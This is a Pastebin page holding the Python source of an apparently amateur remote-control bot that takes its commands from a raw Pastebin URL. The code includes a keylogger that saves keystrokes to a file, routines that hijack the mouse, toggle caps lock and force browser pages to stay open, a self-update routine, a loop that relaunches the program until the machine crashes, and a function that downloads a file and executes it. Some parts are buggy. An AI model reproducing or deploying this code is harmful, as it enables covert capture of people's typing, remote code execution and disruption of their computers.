SHARE
TWEET

Untitled

THE_BOT_MEEK Aug 25th, 2019 81 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #start bing bong
  2. #the website that all comand will be take from
  3. webite='https://pastebin.com/raw/D2QeYaN0'
  4. #bonces mouse round screen
  5. def bing_bong():
  6.     #import module
  7.     import pyautogui
  8.     import random
  9.     #move mouse to the center of the screen
  10.     pyautogui.moveTo(pyautogui.size()[0]/2, pyautogui.size()[1]/2)
  11.     #set the direction to 100 up and 100 left
  12.     dir_y=100
  13.     dir_x=100
  14.     #changes the direction to the negitive of what is currently is
  15.     def  direction(num):
  16.         if num < 0:
  17.             return random.randint(0,99)+1
  18.         else:
  19.             return random.randint(-99,0)-1
  20.     #set the start point as what it currently is for the mouse
  21.     y=pyautogui.position()[1]
  22.     x=pyautogui.position()[0]
  23.     while True:
  24.         #if it hit a wall(side of the screen) then it will bouse the over way
  25.         if x<= 0 or x >= pyautogui.size()[0]-1:
  26.             dir_x = direction(dir_x)
  27.         if y <= 0 or y >= pyautogui.size()[1]-1:
  28.             dir_y = direction(dir_y)
  29.         #move the mouse by one
  30.         y=pyautogui.position()[1]+dir_y
  31.         x=pyautogui.position()[0]+dir_x
  32.         pyautogui.moveTo(x, y)
  33. #read a file from the internet and return it
  34. def read_web_line_one(website):
  35.     import requests
  36.     #read the <html> file from the website and retuns it
  37.     data = requests.get(website)
  38.     return data.text
  39. #check if chrome is runing
  40. def chrome_run():
  41.     import wmi
  42.     import time
  43.     c = wmi.WMI()
  44.     x=0
  45.     #gose throgh all currently runing program and check what running
  46.     for process in c.Win32_Process():
  47.         x=x+1
  48.         p=process.Name
  49.         if p == 'chrome.exe':      
  50.             return True
  51.         else:
  52.             stop()
  53. #keep a webpage open
  54. def keep_open_web(website):
  55.     #open new website
  56.     import webbrowser
  57.     webbrowser.open(website)
  58.     while True:
  59.         #if chrome is closed this will re open the webpage
  60.         if chrome_run():
  61.             stop()
  62.         else:
  63.             webbrowser.open(website)
  64. #return the file UI
  65. def my_name():
  66.     import os
  67.     #check all fle in the folder it saved in
  68.     for file in os.listdir(os.getcwd()):
  69.         #if it a python file it should be the only one in the folder
  70.         #Note: before the code is compiled you need to change it to .exe
  71.         if '.py' in file and file[0] == 'B':
  72.             #return the file UI
  73.             return file.split('-')[1].split('.py')[0]
  74. #return the file name
  75. def my_name_is():
  76.     import os
  77.     #dose the same as my_name() but return the entire file name
  78.     for file in os.listdir(os.getcwd()):
  79.         if '.py' in file and file[0] == 'B':
  80.             return file
  81.     return None
  82. #keep a video open and at the same place
  83. def keep_video(website):
  84.     import time
  85.     import webbrowser
  86.     A=time.time()
  87.     #open the webpage for the first time
  88.     webbrowser.open(website)
  89.     while True:
  90.         #check if chrome is been closed
  91.         if chrome_run():
  92.             #if chrome has not been closed then it will check if it has been toald to shutdown
  93.             stop()
  94.         else:
  95.             #if chrome has been shutdown then this will start the video at the close point to wverobne else as posibole
  96.             webbrowser.open(str(website)+'='+str(round(time.time()-A)))
  97. #move the mouse slowly and randomly in a straight line
  98. def slow_move():
  99.     import pyautogui
  100.     import random
  101.     import time
  102.    
  103.  
  104.  
  105.     def  direction():
  106.         return random.randint(-4,4)
  107.     y=pyautogui.position()[1]
  108.     x=pyautogui.position()[0]
  109.     dir_y = direction()
  110.     dir_x = direction()
  111.     while True:
  112.         stop()
  113.         time.sleep(random.randint(0,120))
  114.         for i in range(0,10):
  115.             y=pyautogui.position()[1]+dir_y
  116.             x=pyautogui.position()[0]+dir_x
  117.             #print(str(dir_x)+','+str(dir_y))
  118.             pyautogui.moveTo(x, y)
  119.             print(pyautogui.position())
  120. #return True if it your UI
  121. def UI(uni):
  122.     #get the UI
  123.     name=my_name()
  124.     print(name)
  125.     print(uni.split('|'))
  126.     if 'all' in uni.split('|') or name in uni.split('|'):
  127.         if str('!')+name in uni.split('|'):
  128.             return False
  129.         else:
  130.             return True
  131.     else:
  132.         return False        
  133. #stop the program if it caled
  134. def stop():
  135.     pass
  136. #loggs key stroke from 1-9 and a-z
  137. def key_logger():
  138.  
  139.     import keyboard
  140.     import time      
  141.     import os
  142.     alphabet =["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p","q", "r", "s", "t", "u", "v", "w", "x", "y", "z",' ','\n','0', '1','2', '3', '4', '5', '6', '7', '8', '9','10']
  143.     line=''
  144.     past=''
  145.     while True:
  146.         # making a loop
  147.  
  148.             time.sleep(0.01)
  149.             for i in alphabet:
  150.                 try:
  151.                     if keyboard.is_pressed(i):
  152.                         if i == past:
  153.                             pass
  154.                         else:
  155.                             line+=str(i)[0]
  156.                             print(str(line))
  157.                             past=str(i)[0]
  158.                     else:
  159.                         pass
  160.                 except:
  161.                     pass  # if user pressed a key other than the given key the loop will break      
  162.             try:
  163.                 old_cwd=os.getcwd()
  164.                 os.chdir('E:/key_logger')
  165.                 f=open(str(my_name())+'.txt','w')
  166.                 f.write(line)
  167.                 f.close()
  168.                 os.chdir(old_cwd)
  169.                 input()
  170.             except:
  171.                
  172.                 pass
  173. #randomly put cap lock on and off
  174. def cap(top):
  175.     import pyautogui
  176.     import time
  177.     import random
  178.     while True:
  179.        
  180.         time.sleep(random.randint(0,top))
  181.         pyautogui.press('capslock')
  182.         stop()
  183. #right file from web
  184. def write_file(website):
  185.     import os
  186.     file=read_web_line_one(website)
  187.     f=open(file.split('\r')[0],'w')
  188.     f.write(file)
  189.     f.close()    
  190.     os.system('start '+str(file.split('\r')[0]))    
  191. #crash the computer
  192. def crash():
  193.     import os
  194.     while True:
  195.         os.system('start '+str(my_name_is()))
  196. def update(website):
  197.     data=read_web_line_one(website)
  198.     file_name=my_name_is
  199.     f=open(file_name,'w+b')
  200.     f.write(data)
  201.     f.close()
  202. #descide what to do
  203.  
  204. def main():
  205.     import webbrowser
  206.     while True:
  207.        
  208.         task=read_web_line_one(webite)
  209.         action=task.split(',')[0]
  210.         target=task.split(',')[1]
  211.         data=task.split(',')[2]
  212.         uni=task.split(',')[3]
  213.         print(action)
  214.         print('start')
  215.         if UI(uni):
  216.             print('True')
  217.            
  218.         else:
  219.             print('False')
  220.             input()
  221.         if action == 'open_web':
  222.             webbrowser.open(target)
  223.             input()
  224.         elif action == 'keep_open_web':
  225.             keep_open_web(target)
  226.         elif action == 'keep_video':
  227.             keep_video(target)
  228.         elif action == 'bing_bong':
  229.             bing_bong()
  230.         elif action == 'N/A':
  231.             pass
  232.         elif action == 'slow_move':
  233.             slow_move()
  234.         elif action == 'key_logger':
  235.             key_logger()
  236.         elif action == 'cap':
  237.             cap(target)
  238.         elif action == 'update':
  239.             update(target)
  240. main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top